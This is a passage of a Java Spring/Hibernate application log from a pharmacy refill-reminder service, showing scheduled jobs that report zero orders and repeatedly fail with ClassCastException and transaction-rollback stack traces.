org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 03:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 03:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 03:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 03:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 03:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 03:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 03:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 03:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 03:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 03:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 03:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 03:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 03:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 03:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 03:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 03:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 03:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 03:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 03:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 03:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 03:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 03:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 03:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 03:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 03:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 03:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 03:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 03:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 03:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 03:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at 